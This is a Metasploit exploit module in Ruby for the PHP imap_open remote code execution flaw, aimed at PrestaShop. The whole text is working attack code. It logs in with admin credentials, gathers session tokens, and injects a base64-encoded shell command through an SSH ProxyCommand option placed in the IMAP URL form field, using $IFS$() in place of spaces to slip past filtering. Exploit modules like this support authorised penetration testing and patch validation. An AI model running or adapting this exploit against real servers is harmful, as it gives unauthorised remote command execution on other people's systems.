## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'php imap_open Remote Code Execution', 'Description' => %q{ The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an IMAP session. On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary. Ssh's ProxyCommand option can be passed from imap_open to execute arbitrary commands. While many custom applications may use imap_open, it is reported that the following applications are vulnerable: instantcms, HostCMS, e107_2, prestashop, SuiteCRM, SugarCRM. Prestashop exploitation requires the admin URI, and administrator credentials. }, 'Author' => [ 'Twoster', # Vulnerability discovery and PoC 'h00die' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://web.archive.org/web/20181118213536/https://antichat.com/threads/463395' ], [ 'URL', 'https://github.com/Bo0oM/PHP_imap_open_exploit' ] ], 'Privileged' => false, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Targets' => [ [ 'prestashop', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 19 2018')) register_options( [ OptString.new('TARGETURI', [ true, "Base directory path", '/admin2769gx8k3']), OptString.new('USERNAME', [ true, "Username to authenticate with", '']), OptString.new('PASSWORD', [ false, "Password to authenticate with", '']) ]) end def check if target.name =~ /prestashop/ uri = normalize_uri(target_uri.path) res = send_request_cgi({'uri' => uri}) if res && (res.code == 301 || res.code == 302) return CheckCode::Detected end end CheckCode::Safe end def command #payload is base64 encoded, and stuffed into the SSH option. enc_payload = Rex::Text.encode_base64(payload.encoded) command = "-oProxyCommand=`echo #{enc_payload}|base64 -d|bash`" #final payload can not contain spaces, however $IFS$() will return the space we require command.gsub!(' ', '$IFS$()') end def exploit if target.name =~ /prestashop/ uri = normalize_uri(target_uri.path) res = send_request_cgi({'uri' => uri}) if res && res.code != 301 print_error('Admin redirect not found, check URI. Should be something similar to /admin2769gx8k3') return end #There are a bunch of redirects that happen, so we automate going through them to get to the login page. while res.code == 301 || res.code == 302 cookie = res.get_cookies uri = res.headers['Location'] vprint_status("Redirected to #{uri}") res = send_request_cgi({'uri' => uri}) end #Tokens are generated for each URL or sub-component, we need valid ones! /.*token=(?\w{32})/ =~ uri /id="redirect" value="(?.*)"\/>/ =~ res.body cookie = res.get_cookies vprint_status("Token: #{token} and Login Redirect: #{redirect}") print_status("Logging in with #{datastore['USERNAME']}:#{datastore['PASSWORD']}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path) + '/index.php', 'cookie' => cookie, 'vars_post' => { 'ajax' => 1, 'token' => '', 'controller' => 'AdminLogin', 'submitLogin' => '1', 'passwd' => datastore['PASSWORD'], 'email' => datastore['USERNAME'], 'redirect' => redirect }, 'vars_get' => { 'rand' => '1542582364810' #not sure if this will hold true forever, I didn't see where it is being generated } ) if res && res.body.include?('Invalid password') print_error('Invalid Login') return end vprint_status("Login JSON Response: #{res.body}") uri = JSON.parse(res.body)['redirect'] cookie = res.get_cookies print_good('Login Success, loading admin dashboard to pull tokens') res = send_request_cgi({'uri' => uri, 'cookie' => cookie}) #print_status(res.code.to_s) #if res.code == 301 || res.code == 302 # print_status("#{res.code} -> #{res.headers['Location']}") # cookie = res.get_cookies # uri = res.headers['Location'] # res = send_request_cgi({'uri' => uri, 'cookie' => cookie}) #end /AdminCustomerThreads&token=(?\w{32})/ =~ res.body vprint_status("Customer Threads Token: #{token}") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) + '/index.php', 'cookie' => cookie, 'vars_get' => { 'controller' => 'AdminCustomerThreads', 'token' => token } }) /form method="post" action="index\.php\?controller=AdminCustomerThreads&token=(?\w{32})/ =~ res.body print_good("Sending Payload with Final Token: #{token}") data = Rex::MIME::Message.new data.add_part('1', nil, nil, 'form-data; name="PS_CUSTOMER_SERVICE_FILE_UPLOAD"') data.add_part("Dear Customer,\n\nRegards,\nCustomer service", nil, nil, 'form-data; name="PS_CUSTOMER_SERVICE_SIGNATURE_1"') data.add_part("x #{command}}", nil, nil, 'form-data; name="PS_SAV_IMAP_URL"') data.add_part('143', nil, nil, 'form-data; name="PS_SAV_IMAP_PORT"') data.add_part(Rex::Text.rand_text_alphanumeric(8), nil, nil, 'form-data; name="PS_SAV_IMAP_USER"') data.add_part(Rex::Text.rand_text_alphanumeric(8), nil, nil, 'form-data; name="PS_SAV_IMAP_PWD"') data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_DELETE_MSG"') data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_CREATE_THREADS"') data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_POP3"') data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_NORSH"') data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_SSL"') data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_VALIDATE-CERT"') data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_NOVALIDATE-CERT"') data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_TLS"') data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_NOTLS"') data.add_part('', nil, nil, 'form-data; name="submitOptionscustomer_thread"') send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path) + '/index.php', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s, 'cookie' => cookie, 'vars_get' => { 'controller' => 'AdminCustomerThreads', 'token' => token } ) if res && res.body.include?('imap Is Not Installed On This Server') print_error('PHP IMAP mod not installed/enabled ') end end end end